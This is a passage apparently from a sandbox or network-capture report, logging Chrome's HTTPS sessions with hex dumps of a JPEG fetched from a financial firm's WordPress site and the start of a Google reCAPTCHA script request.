2024-04-11 20:35:01 UTC	1378	IN	Data Raw: 9e 30 ed cf 20 00 00 00 05 94 f4 59 40 00 00 00 1c ba 79 c8 00 2f a7 cb dc d8 00 00 00 00 00 00 00 00 0f 3e 75 90 07 ab cb ea 06 4e 39 00 00 75 e5 d4 ea 00 00 00 07 2e a3 ca 00 00 7a 3c fe 92 81 c3 bf 13 98 00 ed d3 97 50 00 00 00 00 00 00 42 b9 60 ee e1 b3 a7 3e 98 39 40 be 8f 37 a4 a0 00 00 00 00 42 a0 a0 00 07 1e 9e 70 00 1d b8 d3 d0 00 00 72 eb 83 88 16 51 60 f4 59 56 59 49 8d e5 1a ce 82 c2 a0 a8 2a 0a 94 20 70 eb c0 00 00 00 00 00 16 68 ef 65 01 40 00 00 33 e7 eb c9 00 01 db 8f a0 d0 00 00 00 00 00 00 00 00 0f 3e 6c 00 7a bc be a1 8d c3 cc 00 00 6b 3a 3d 00 00 00 50 40 38 63 d1 c8 c0 00 6b 23 d4 e5 d4 71 ed c8 e4 00 3a 76 e3 d8 00 00 00 05 00 00 27 9f a7 24 00 0e 9b e1 e8 38 40 7a 3c fd 8e 8e 39 3b b8 6c e8 94 14 80 02 cb 00 00 02 a0 c7 1e fc 00 00 Data Ascii: 0 Y@y/>uN9u.z<PB`>9@7BprQ`YVYI* phe@3>lzk:=P@8ck#q:v'$8@z<9;l
2024-04-11 20:35:01 UTC	1378	IN	Data Raw: 00 01 65 26 75 93 88 00 be 8f 3f a0 e7 cb d1 c4 c8 00 00 00 00 bd fc fe 80 09 c7 be 0e 40 00 00 00 00 00 00 6b 3a 3b 59 44 b0 b0 00 01 8d e4 e2 b0 00 00 00 00 00 00 00 00 1b c5 29 2c a8 8a 82 c4 5b 00 50 74 39 3a f2 2c b0 00 00 00 a9 40 12 c0 00 0a 26 75 93 b6 f1 a2 a0 ce 3a f3 32 00 00 00 00 00 00 00 00 2c 00 00 06 b5 b1 9d 73 30 00 00 00 00 00 75 e5 d4 d8 00 00 00 00 00 00 18 de 0e 40 02 fa 3c fe 81 02 70 eb c8 00 00 16 68 93 b4 39 f5 68 00 0e 73 af 23 00 00 00 00 00 00 16 53 bd 82 cb 00 00 01 2c 39 67 a7 30 00 00 00 00 00 00 00 00 14 00 94 b7 02 c0 6b 22 cb 0d 6b 1a 35 cf 78 20 00 00 00 16 50 00 20 00 01 9d 64 ed ac ea c0 39 e7 59 94 00 00 00 00 00 00 00 00 d6 7a 60 80 00 0e 9b e1 b3 a7 2d f2 00 00 00 00 00 07 5e 5d ca 84 02 a1 6a 10 05 82 c1 40 58 2e Data Ascii: e&u?@k:;YD),[Pt9:,@&u:2,s0u@<ph9hs#S,9g0k"k5x P d9Yz`-^]j@X.
2024-04-11 20:35:01 UTC	1378	IN	Data Raw: 2e 64 ca c5 00 00 35 50 b9 b0 80 01 bc 68 a0 a8 00 50 10 63 78 00 00 00 2c a2 00 00 00 00 00 00 00 0b 00 0b 2c 00 b0 00 00 00 00 01 60 a0 01 2c 00 67 59 35 ac 68 d3 34 ac 8d 40 03 20 00 0b a8 24 b0 00 0b ac e8 02 90 2c 08 09 6a 92 2a 02 e4 80 01 66 c9 54 67 70 8d 42 34 32 0b 01 28 03 36 2a d8 8a 94 01 49 66 77 8b 20 00 69 a3 32 aa 59 62 40 00 00 16 68 b1 40 08 28 2c 81 9d 64 00 00 34 94 4d 64 80 01 ac e8 b2 c2 a5 0b 00 00 b8 d6 48 00 00 02 c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0b 00 00 a0 00 94 80 67 59 1b c6 c0 00 28 8b 08 00 00 dc 8b 12 c9 40 02 d5 05 13 59 0b 04 a3 34 a1 22 81 10 00 07 4e 7a 34 82 a0 b1 0d 40 8a 12 89 60 a4 22 80 16 0b 03 4c c3 59 08 00 2d 9b 32 a3 3a 43 20 14 4b 00 1a ce c0 34 8d 66 b2 96 c2 58 96 92 c8 80 00 06 b3 4b 35 0c 80 Data Ascii: .d5PhPcx,,`,gY5h4@ $,jfTgpB42(6Ifw i2Yb@h@(,d4MdHgY(@Y4"Nz4@`"LY-2:C K4fXK5
2024-04-11 20:35:01 UTC	1378	IN	Data Raw: 29 4b d2 1b 85 3e 09 f1 90 7c b8 43 f4 a5 b2 0d 2c fd 9e d9 5e 5a 0a aa e7 90 aa be d5 3e 63 05 3e 08 f1 90 af 2e 12 fd 62 5b 13 15 46 51 55 5c d5 cd 05 50 fb 94 af 2c d7 98 37 1a cb 66 87 e5 7e 58 21 a4 2d f8 0f 24 93 cd cd 03 a5 4f 8a 24 5c 57 ca 89 32 94 71 06 d2 95 e5 99 7c 91 b1 7a 12 dc ad f0 44 95 cc 5e 49 3a 17 92 5e 29 36 a3 d1 a1 a4 17 c9 4d 9a 22 03 7c 16 f8 22 27 ca ae 6a e6 82 b8 5b 72 1a 31 6c c6 6b 6d 66 02 9f 78 7d 8a 6c 90 d2 0b e4 a6 cd 26 c7 62 85 8e 49 36 3c af 14 43 26 f8 a4 d2 9b 94 b4 65 e8 47 24 d5 f9 bf d6 41 a1 a9 a0 07 d8 bc c0 b4 92 fb 92 fb 08 bd 14 9c d2 79 5e 28 78 2b cc b7 29 f1 2a ab 9a b9 af 94 35 36 63 93 ad 0d cd ea fb d5 05 2f b1 6d 3c be 65 f2 46 e2 d9 83 6a 06 f4 bc 50 f0 57 98 f1 d0 21 29 b4 25 8e c0 6a e6 85 18 25 Data Ascii: )K>\|C,^Z>c>.b[FQU\P,7f~X!-$O$\W2q\|zD^I:^)6M"\|"'j[r1lkmfx}l&bI6<C&eG$Ay^(x+)*56c/m<eFjPW!)%j%
2024-04-11 20:35:01 UTC	1378	IN	Data Raw: 64 c9 93 26 4c 99 32 64 c9 93 26 4c 99 32 04 64 c9 93 21 56 4c 99 32 64 c9 93 26 4c 99 32 64 c9 93 26 4c 99 32 64 c9 95 c0 99 32 05 64 c9 93 26 4c 99 32 64 c9 93 26 4c 99 32 64 c9 93 26 4c 99 32 64 c9 93 26 4c 99 32 64 c9 93 26 46 e4 c9 93 26 4c 82 c4 c9 93 26 4c 99 32 64 c8 04 05 b6 19 49 40 5b aa c9 b8 64 c9 b8 6e 1b 86 e1 93 70 dc 32 6a 59 4c 52 16 a6 a5 b8 6e 1a 86 4d a4 37 14 ff 00 ae c0 d8 72 27 c3 0d fc b7 0d 86 64 55 c1 f0 c6 42 98 7c 0f 5a 66 fd dc 44 78 59 83 51 48 c2 76 a9 e9 9b c7 4c 7e 53 0f 81 88 a7 be c4 b4 41 e2 cb 70 ca ec 76 66 a7 bf 8e 8a 98 3f 3c 0c 5f b4 cc ec 48 ba e6 3f 0b 71 d4 27 09 da bf d2 9f f5 f1 d1 7e 53 1f 86 66 fc f8 41 06 02 a3 d9 eb 4c 5e 3b fc a9 8f f3 c0 cd bc cb cf 7f 0c 0c 79 b2 a1 b3 17 e5 31 f8 ef f3 a6 3f 03 25 31 Data Ascii: d&L2d&L2d!VL2d&L2d&L2d2d&L2d&L2d&L2d&L2d&F&L&L2dI@[dnp2jYLRnM7r'dUB\|ZfDxYQHvL~SApvf?<_H?q'~SfAL^;y1?%1
2024-04-11 20:35:01 UTC	1378	IN	Data Raw: 49 47 d8 40 83 1c 93 06 f0 fc f4 89 1c 15 80 c6 21 59 3f e3 56 45 0c 70 f0 c2 80 35 ca fb b8 8c e6 71 d2 f8 4a 28 21 40 38 64 21 66 e7 b1 10 b9 1b df 4e 4d 49 69 13 95 fb 97 dc 82 08 91 7a 06 e0 fb f0 34 76 45 4e 9d 3a 74 4b ef 14 50 42 82 3f a8 87 c8 f7 d4 96 91 23 87 5b d6 60 58 d0 40 36 28 86 2d a9 0e 48 ed 48 c0 69 64 c7 64 a2 87 24 b0 74 44 f8 20 72 c8 18 46 87 6d 94 48 e0 c2 27 e3 48 6c fa 91 e5 1d 91 64 f9 24 82 3b 02 8a 14 7a 57 4d e0 1e 20 00 85 11 a1 03 b3 89 1c 9b a6 02 b6 10 09 84 41 13 c0 04 c2 74 a9 94 d9 00 0c 06 94 19 0a 0d e0 73 3b 26 d0 34 7b 00 72 48 28 94 e8 ce c1 42 88 46 e7 5c 86 c0 3d d0 60 2d c4 c6 84 4e cc 24 50 76 6c 30 f1 00 ed 08 4f 93 c4 20 7f ef 07 60 a1 41 be c0 dc 4f ac 1d 47 99 bc 49 09 14 13 e1 41 8a 5d e6 08 97 3e 20 23 Data Ascii: IG@!Y?VEp5qJ(!@8d!fNMIiz4vEN:tKPB?#[`X@6(-HHidd$tD rFmH'Hld$;zWM Ats;&4{rH(BF\=`-N$Pvl0O `AOGIA]> #
2024-04-11 20:35:01 UTC	1378	IN	Data Raw: 30 c3 0c 29 6f 84 30 c3 00 78 00 00 00 00 00 00 00 00 1a 80 2a 00 00 00 00 00 00 00 07 3c f3 cf 2c 30 47 3c f3 c0 00 53 cf 2c 20 00 00 00 00 80 00 00 00 00 20 04 00 00 00 00 00 40 1c b0 55 83 a0 00 00 00 00 00 00 00 00 00 00 00 00 00 a8 40 2a 00 00 28 d8 00 00 00 00 00 00 00 00 58 00 2a 00 00 00 00 00 00 08 05 3c f3 cf 3c f3 cf 3c f3 ca 00 43 cf 3c b2 c2 00 00 00 02 00 00 00 00 20 00 00 00 00 00 23 9c f2 a0 03 81 40 00 00 00 00 00 00 00 08 00 00 00 00 02 71 00 26 08 20 a8 d8 00 00 00 00 00 00 00 00 58 01 2a 00 00 00 00 00 00 00 07 3c f3 cf 3c f3 cf 3c f3 c8 00 03 cf 3c f3 c8 20 a0 00 00 00 00 00 02 20 10 00 00 06 73 cf 3c e2 20 02 01 00 00 00 00 00 00 00 00 08 00 00 00 00 80 08 00 82 00 00 28 d8 00 00 00 00 00 00 00 02 00 05 22 00 00 00 00 00 00 00 24 34 Data Ascii: 0)o0x<,0G<S, @U@(X<<<C< #@q& X<<<< s< ("$4
2024-04-11 20:35:01 UTC	1378	IN	Data Raw: 00 04 20 00 04 00 00 40 a1 10 00 04 c2 00 00 00 00 e4 59 00 00 00 00 00 00 00 43 9d 48 00 15 00 00 00 00 00 00 00 00 00 26 d4 b0 c6 03 86 a4 00 00 00 01 a8 96 01 4c 2a b8 ea 80 00 00 00 00 00 00 00 40 00 00 44 8e 00 00 00 00 00 00 02 00 00 00 20 00 51 40 00 00 84 00 00 00 24 a0 04 30 00 00 00 00 00 00 40 05 00 00 01 20 00 00 00 00 00 00 00 00 10 08 83 00 51 44 2a 00 00 00 02 20 aa 00 00 22 d7 d0 00 00 00 00 00 00 00 00 08 88 00 04 ae 00 00 00 00 00 1a 3f f3 8f fe f7 be b8 e0 00 52 6a 00 00 05 3d ff 00 ff 00 de 00 00 00 00 00 00 53 20 80 00 07 00 00 00 00 00 00 00 00 00 00 42 0e 00 02 4c 22 00 00 00 01 43 8e 00 00 02 23 c0 80 00 00 00 00 00 00 00 07 dd bc 40 20 00 00 00 00 00 2b f3 9e 30 c3 98 15 e3 f0 00 59 18 00 00 05 0c 31 cf 1b 00 00 00 00 00 00 42 80 Data Ascii: @YCH&L@D Q@$0@ QD "?Rj=S BL"C#@ +0Y1B
2024-04-11 20:35:01 UTC	1378	IN	Data Raw: 00 00 9a 88 05 94 02 d0 00 00 00 00 00 00 00 00 00 00 00 00 04 00 00 00 58 00 00 00 00 02 bb 28 80 00 00 00 00 00 00 01 02 b2 7b 63 80 50 ef 88 19 ca 16 b0 a0 a2 a8 09 14 18 00 00 88 25 80 40 20 32 ca aa aa 3a b6 80 00 04 00 00 04 10 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 80 00 02 a0 00 00 00 02 78 00 00 00 00 00 00 00 00 00 08 00 03 e0 00 73 cf 00 03 e8 9e fb c0 82 08 00 00 78 00 00 f2 10 80 70 20 22 80 2f 40 00 00 00 00 00 20 80 00 00 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 02 20 00 00 00 02 ff c4 00 21 11 00 02 02 02 03 01 01 00 03 00 00 00 00 00 00 00 01 11 00 30 20 40 10 50 60 70 31 21 51 80 ff da 00 08 01 03 01 01 3f 10 f9 32 e1 45 07 a3 3f e9 f1 e9 07 a6 35 0d 45 82 dd 59 8b 3f 3b 01 5a 8a 2e 14 51 45 14 51 Data Ascii: X({cP%@ 2:xsxp "/@ !0 @P`p1!Q?2E?5EY?;Z.QEQ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.4	49835	151.101.2.159	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:01 UTC	393	OUT	GET /wp-content/themes/x-child/images/mission_back.jpg HTTP/1.1 Host: www.bfjfinancial.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:01 UTC	714	IN	HTTP/1.1 200 OK Connection: close Content-Length: 160648 referrer-policy: no-referrer-when-downgrade x-fw-server: Flywheel/5.1.0 content-type: image/jpeg x-fw-hash: thumialfjs x-fw-version: 5.0.0 x-content-type-options: nosniff etag: "59a7c956-27388" last-modified: Thu, 31 Aug 2017 08:31:18 GMT cache-control: public, max-age=31536000 x-xss-protection: 1 Server: Flywheel/5.1.0 X-Cacheable: YES Fastly-Restarts: 1 Accept-Ranges: bytes Date: Thu, 11 Apr 2024 20:35:01 GMT X-Served-By: cache-ewr18139-EWR, cache-ewr18130-EWR X-Cache: MISS, HIT X-Cache-Hits: 0, 1 X-Timer: S1712867701.398002,VS0,VE2 Vary: Accept-Encoding, Authorization X-FW-Serve: TRUE X-FW-Static: YES X-FW-Type: VISIT
2024-04-11 20:35:01 UTC	16384	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 05 03 04 04 04 03 05 04 04 04 05 05 05 06 07 0c 08 07 07 07 07 0f 0b 0b 09 0c 11 0f 12 12 11 0f 11 11 13 16 1c 17 13 14 1a 15 11 11 18 21 18 1a 1d 1d 1f 1f 1f 13 17 22 24 22 1e 24 1c 1e 1f 1e ff db 00 43 01 05 05 05 07 06 07 0e 08 08 0e 1e 14 11 14 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e ff c2 00 11 08 01 bf 06 40 03 01 22 00 02 11 01 03 11 01 ff c4 00 1b 00 00 02 03 01 01 01 00 00 00 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 ff c4 00 19 01 00 03 01 01 01 00 00 00 00 00 00 00 00 00 00 00 00 01 02 03 04 05 ff da 00 0c 03 01 00 02 10 03 10 00 00 01 f2 5d 0f 14 f6 cf dd c7 Data Ascii: JFIFC!"$"$C@"]
2024-04-11 20:35:01 UTC	16384	IN	Data Raw: ce 8d ce 1a e9 3b 4a 87 a0 e9 e2 71 2e 7c ce 3e 9e 2e ec af 8a 9f 99 db eb c4 aa fa f9 97 cf af 32 fe 80 0e eb 01 ed a8 e6 7d 15 00 79 80 3c 55 97 11 87 cf a5 4a fc a1 5c 4f c7 a3 ce 0d 5d d9 65 2e 2c 48 2e c8 ec 57 7c 5f 7d dc 4a 09 d3 42 82 97 43 14 cb 51 03 68 83 67 dc 68 68 01 f9 95 41 aa bb ab 28 f9 28 80 5a 6c cc d5 44 31 ed 1b f3 67 3f 75 4c a5 7d da f6 df 7d 05 f1 ab 52 a8 d5 9e ed ab 72 14 37 49 fd ef 6c c7 9f 6e 6c 59 7a 8e c0 d0 d7 b1 9e 2a 1b 79 18 dd b1 a7 60 39 72 fe e9 da d0 ab 13 d3 6d 67 8a c0 3c 73 b6 de b3 bf 35 30 84 d2 de 37 d7 4b 5f 65 0d 71 fe 93 d4 45 86 8a cd a6 8f 83 e0 76 a8 0c 35 8a c1 bb 97 6b f7 c3 07 70 84 5e 86 1b 9b 97 40 08 e5 75 47 e6 f1 8b 30 28 52 be 9e 8a 5d 62 cc 23 9f 2a 2c b3 e6 cf ee 29 09 ee dd 55 e1 ed 05 2f 20 Data Ascii: ;Jq.\|>.2}y<UJ\O]e.,H.W\|_}JBCQhghhA((ZlD1g?uL}}Rr7IlnlYzy`9rmg<s507K_eqEv5kp^@uG0(R]b#,)U/
2024-04-11 20:35:01 UTC	16384	IN	Data Raw: b7 45 eb e4 d5 ea d3 dc d3 a5 5f 72 3e ec bb 17 49 47 54 68 8c 74 ed 1e 7d cc 78 94 7f 82 8e c9 b1 c2 5e c6 fe e5 95 7b 89 c9 ec 8b 90 a3 3d 37 63 84 9f 23 c6 b6 3c 34 c6 a1 c1 70 6b 93 c5 86 d1 46 a5 ec 4f 36 9d eb cb 7e 44 3e 8c aa e9 48 75 d2 bc b7 d5 47 b9 2c aa b4 a1 61 8e 93 4b e1 3d 8c 79 52 54 cc 89 3e 05 ab 19 2b bb 42 51 9a 16 fb 1a 5a e4 5e 9d 85 36 77 d4 cb ad e2 4a 4d ec c8 c9 cb e4 31 a8 e1 54 b9 17 bc ba 73 d2 fd fa 28 a4 ef f8 44 96 96 d9 5f 73 4c 59 cb e4 b7 d8 d3 2d 87 09 33 44 6c d3 15 bb 1c 62 2d 10 dd 9a a1 ee 29 42 0e d9 1c b0 92 b4 4b 2e 2e 19 5d 28 a2 ba 51 45 57 4a f3 57 91 79 12 f7 25 96 3a 69 18 f0 c5 c7 72 4a 9d 26 46 6d 6c 5c 28 f0 da 56 85 fd e2 16 a8 6c ca a7 74 7a 59 ca e4 e6 99 fe a2 52 a6 6a a1 de 53 12 f0 e3 48 b4 84 bb Data Ascii: E_r>IGTht}x^{=7c#<4pkFO6~D>HuG,aK=yRT>+BQZ^6wJM1Ts(D_sLY-3Dlb-)BK..](QEWJWy%:irJ&Fml\(VltzYRjSH
2024-04-11 20:35:01 UTC	16384	IN	Data Raw: af 0e f5 0e 0b 0b 6c f5 d8 16 a5 a1 f4 1d e7 64 a9 1d a2 2c 78 23 7e 48 30 db 45 53 65 bc 0f 1a 55 50 fe 8f 20 0f 0a f4 0f 6f 9a eb 9b 2d dd d4 cf 9a a6 23 fa 15 1a 23 e6 e6 2d 79 63 63 07 76 b8 9f da 70 fb 6a fd 4c fa 28 31 28 d6 97 f3 ae e5 a0 b3 92 22 da 7c 7d 37 9a b5 23 cf 69 2b 47 26 03 61 dc b0 0e 72 d7 b8 df bc f5 8c ed fe 86 ac 1b 23 f9 9a 2e ae cf 1b 7d eb b7 77 92 d6 79 3e 7f 53 25 80 58 8a 73 58 bb d8 16 a9 cf 37 38 ae ba 5f 82 d4 65 f3 c9 52 36 00 3d ab bd 4f 62 eb ad 02 bb 9b 8a ea e1 be 77 bd 51 b8 70 68 55 95 e1 9c cd 4a a3 1a e9 0f 15 41 d5 8d c1 35 f3 b5 e4 bc d1 a2 98 bc f0 08 35 96 61 34 e7 ba 4e 00 f9 2b ce 74 5a 6a 52 83 06 c7 f7 47 c5 39 90 30 ca f7 76 df 45 a2 95 e2 b9 96 47 b3 99 54 86 2b 83 60 18 bd dc cf c1 17 4b 26 2f 38 ed 73 Data Ascii: ld,x#~H0ESeUP o-##-yccvpjL(1("\|}7#i+G&ar#.}wy>S%XsX78_eR6=ObwQphUJA55a4N+tZjRG90vEGT+`K&/8s
2024-04-11 20:35:01 UTC	16384	IN	Data Raw: 37 6e 87 b7 4b 67 23 b8 ee f3 79 23 33 0d 1f 74 5a 07 ac da fe 20 ad 30 f4 4f 93 11 cf 3f c5 4f 1c 9a d4 cf 8d 36 f3 42 40 72 ed 71 08 b5 e2 a6 27 7b 8a d5 35 6b 70 c7 c2 55 36 ed 0b 96 68 d8 e5 71 01 c6 f3 1d e1 23 f2 4f 89 d9 b5 d4 4c b2 bb 10 e3 d5 9d dc 3f 89 89 a0 90 46 f6 f6 8a d1 db ac f7 5e 7f 79 0d 01 f6 64 56 91 8f 65 b6 c8 dd 8f 1d 9f 6e 5e 49 8f fd 19 6a 92 27 4b fb a9 75 9b 5d c8 b2 d9 63 6c 33 8d b1 14 d9 22 9f e9 96 5c f5 c5 1c 07 9a bb 13 df 64 b5 6f 60 d5 72 22 d5 04 76 9b 39 cf 1f 7a 73 ec 12 c9 67 70 d6 2c 22 a1 01 fa 46 08 ad 50 9c 9e 16 9a c7 34 d6 6c 73 19 0e 61 68 ed b1 c7 34 7e 31 f2 47 47 7a cd 36 6c 74 79 1f 25 a4 7c 9a 56 01 4d 23 4d 1c 83 2d 11 5d 9f c6 d6 d2 a8 7d 16 71 25 0e 01 f8 38 79 a3 07 e9 3b 28 a8 cf 6a 13 d9 a6 96 16 Data Ascii: 7nKg#y#3tZ 0O?O6B@rq'{5kpU6hq#OL?F^ydVen^Ij'Ku]cl3"\do`r"v9zsgp,"FP4lsah4~1GGz6lty%\|VM#M-]}q%8y;(j
2024-04-11 20:35:01 UTC	16384	IN	Data Raw: 2f 98 9a d9 dd 63 d0 96 93 a7 2b ea 79 88 5f 24 85 8c 4a 28 14 fc a6 af 70 34 2c 57 64 e6 ac 78 96 fd 9d 1e 55 df 13 26 67 a7 c2 a6 c8 eb 4f c1 1c 27 c5 4e de 62 02 99 6a f4 47 f2 e2 ff 00 28 ff 00 f5 68 09 a9 fa 97 99 4a 06 c5 3e 59 6a 45 fe 17 ee 39 c7 f4 f7 3b 8a bb 44 41 6f 12 f3 e9 61 0c 93 48 e9 36 9a 7d 02 10 66 bf 52 cd 6a a3 8f a2 51 aa 52 26 32 90 03 82 11 8d 76 c0 86 22 62 83 0c b5 15 6d a9 64 ca 7a 69 8a e0 02 87 c2 65 44 a8 c8 24 a1 05 e8 0c b2 7b 76 ae af be a5 7a 98 4e 18 10 a7 b4 89 0c f4 0b 38 da f6 d6 0e ee 77 4e a6 46 77 bd fd 2e 2c 36 0b e2 1b 87 a9 88 48 34 5f af 7c 12 89 e8 2a 46 b2 58 39 b6 dc 47 59 b4 4e f0 cb 51 c5 04 c5 63 9b 99 ed ff 00 8c 06 06 6c a5 b3 d1 8d a2 22 bf 20 f8 c9 eb 26 28 f6 45 31 c3 1a 1f 06 ac a8 65 db 23 d3 57 Data Ascii: /c+y_$J(p4,WdxU&gO'NbjG(hJ>YjE9;DAoaH6}fRjQR&2v"bmdzieD${vzN8wNFw.,6H4_\|*FX9GYNQcl" &(E1e#W
2024-04-11 20:35:01 UTC	16384	IN	Data Raw: fd 8a 2d 7c ae 5e 5d 5a 6a ae 95 38 73 de f4 1b 08 a6 42 9b f1 20 aa 8f 0b cb 84 2b bd 77 ce 46 d9 75 b2 37 d0 04 38 93 3f 65 fd c2 5a 92 2d 3e 98 2a b9 a4 6c f0 09 79 60 ce 4c d8 79 fc be 39 41 84 81 98 d5 f3 41 98 c3 4e 08 4e 0b 10 a6 e0 49 6e 9b ea 2e 8e 01 f0 11 ce ce 88 59 aa 36 25 8d f9 57 24 e6 ef 44 8d e7 0d 6e 76 6a 9e 1a cb cd 41 94 8f 70 5e 02 99 b6 ba 3f 2b fb 0a d7 41 55 97 8a 54 dd 96 91 74 57 71 8b 15 c8 d7 73 45 41 0a 00 21 45 3c 0f c6 55 0e 83 66 ae 0a aa 6e 8f d4 a1 de d2 eb 42 bf 26 96 9d 43 18 96 c1 4d 30 b3 0d ef 4d 8f c1 7c 9a b7 b6 d1 51 7c 57 30 10 83 3a 54 68 66 83 ae 94 56 0a bd 1e a3 1f c0 ae c7 3c ab 15 23 7d 98 f5 24 f3 4f 53 78 41 1a 30 f4 3e 28 8a 8a 4e ad 0a ab a6 8d c4 d6 31 ec e8 b2 0b f5 07 3b 03 3c 66 2d 27 bf 6f ed 0d Data Ascii: -\|^]Zj8sB +wFu78?eZ->*ly`Ly9AANNIn.Y6%W$DnvjAp^?+AUTtWqsEA!E<UfnB&CM0M\|Q\|W0:ThfV<#}$OSxA0>(N1;<f-'o
2024-04-11 20:35:01 UTC	16384	IN	Data Raw: 01 ba 8f 50 d6 98 bc 4a 8a fa 04 b5 23 88 4e 23 d4 d7 9a f1 13 cc 18 6d 99 a8 d6 98 20 a8 73 7c c7 81 25 9b 0b e1 88 0f 0d dc 4a ce 5c 45 c0 34 37 18 72 53 96 20 e5 f1 2a 12 1f 6c c3 70 75 c0 76 c4 60 51 94 3f ef a9 4d 43 6f 2b db 2c 76 7d e3 d7 29 b7 e0 10 9b 4f 5e 0f fd cc b3 56 e2 de 90 32 71 2b 4a 5e bf d3 e2 13 13 5b 98 3d fc 78 e6 37 6d 6b cb 27 71 b5 4b cd 3b 9f 25 15 dc 69 1c 08 fe e1 82 ff 00 11 06 c4 bb 21 80 af 03 43 da 69 3d e0 56 b7 6a f3 1b f9 26 5b c2 2a 3f 2f 30 3b 5a 66 e1 fc a3 de 3f dd 4b 27 7a 7e 8d 33 0f 04 4f e0 e4 79 35 05 f8 ea 64 f9 58 6b c3 1c d1 1f b0 aa 85 71 0d 70 2b 09 92 6a 7d 3b 6c 0d b0 3a 66 f4 d4 62 90 b7 fb 9c 58 6f 83 de 32 c0 22 70 3b 5e 5f b6 18 86 2b 79 46 d3 9b 8c ad 13 5f f1 cc a6 d0 cb 4d df 8f 13 06 cd 81 75 50 Data Ascii: PJ#N#m s\|%J\E47rS lpuv`Q?MCo+,v})O^V2q+J^[=x7mk'qK;%i!Ci=Vj&[?/0;Zf?K'z~3Oy5dXkqp+j};l:fbXo2"p;^_+yF_MuP
2024-04-11 20:35:01 UTC	16384	IN	Data Raw: 03 75 e0 01 46 bf 85 c6 2e 25 cf 68 fa 3e 7d 58 cc 7a 3b 83 e8 4c 45 fe 04 7d 0f e4 b9 83 e8 63 d2 e1 2f d0 87 a1 ea 7a 93 88 43 d4 84 37 09 ed 08 43 d0 43 d0 fe 21 87 c0 0f 05 1f 96 14 05 11 8d a7 0f d4 72 3e 20 8c 62 a8 9a c8 4e fa 31 1a f8 26 d1 79 5f bd 24 1b b9 5a c2 e3 04 67 83 5a 81 65 9c 1e 65 8a 6b 1c 8a 5a 38 a0 65 e0 e8 3b 89 46 b4 b4 42 28 47 8f f2 96 6d b0 a6 47 03 cb 0e ba d5 19 67 4e ae 12 29 80 3a 0a 20 11 a1 8c 23 3c 58 4f 78 3f a6 5c e8 50 1e 1c fe 48 de 2f 78 d7 c8 05 f2 cf d1 60 59 2d c2 f8 c4 7e 23 6e cc 8e 56 df 96 03 c4 bb 78 c0 ed d7 ea e0 e2 87 0a e0 1f e1 2b 78 6d bc 3c 07 c0 10 19 53 ec c7 22 71 57 a2 09 f5 39 4d 3f a0 fc c4 47 d9 b0 29 f7 b5 7e 26 50 c3 d3 d0 90 ab 70 4a 92 e6 2a cc b6 04 a1 9a 44 55 e5 94 65 88 51 11 f5 08 d8 Data Ascii: uF.%h>}Xz;LE}c/zC7CC!r> bN1&y_$ZgZeekZ8e;FB(GmGgN): #<XOx?\PH/x`Y-~#nVx+xm<S"qW9M?G)~&PpJ*DUeQ
2024-04-11 20:35:01 UTC	13192	IN	Data Raw: 53 b1 b9 f7 fd ca bd ba 8b 65 dd 69 07 aa bc 79 1c b8 2e 20 6f f2 e1 76 0e 57 b8 bc 60 9e 2e 58 bd 63 47 35 f6 bb 80 98 da 40 3c df 3e 66 bb 8f 71 b5 dc 08 10 3b 83 a8 10 33 02 07 10 35 02 1e 81 a9 91 c0 e9 84 17 4e 54 32 87 19 96 f2 81 fa cd 76 d9 34 00 6d 60 ba 7d eb 2a d8 e4 03 5d 60 d0 42 c5 62 1a cb a7 81 67 ef a8 70 09 08 b2 75 0a e4 db ae f2 b5 b2 8d 2a e3 97 a2 80 05 5b 05 b1 07 bd e1 2d 04 40 f2 35 b0 bc 6d 64 98 e4 e4 42 80 b2 8e 44 2b 93 54 6e 33 61 5a ed 03 b6 70 0a 24 d7 7f aa 84 a1 11 67 35 c8 f2 0f 62 ab 66 8d 5d 29 9e 50 fa b0 a5 fe 88 bc 9e 17 cb 63 28 03 0f 97 41 56 de 88 cf 1b 06 c4 73 bc 5a 74 e2 50 57 08 27 1f a0 ab 7b 38 9a 6b 1c a5 39 17 49 75 0c 49 35 a5 dc 25 ef e4 1d 2c 67 a6 19 b6 8a 78 b6 9e ca 19 18 8f 62 9a a5 1d 07 f6 07 b3 Data Ascii: Seiy. ovW`.XcG5@<>fq;35NT2v4m`}]`Bbgpu[-@5mdBD+Tn3aZp$g5bf])Pc(AVsZtPW'{8k9IuI5%,gxb

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.4	49834	142.251.35.164	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:01 UTC	852	OUT	GET /recaptcha/api2/webworker.js?hl=en&v=rz4DvU-cY2JYCwHSTck0_qm- HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: same-origin Sec-Fetch-Mode: same-origin Sec-Fetch-Dest: worker Referer: 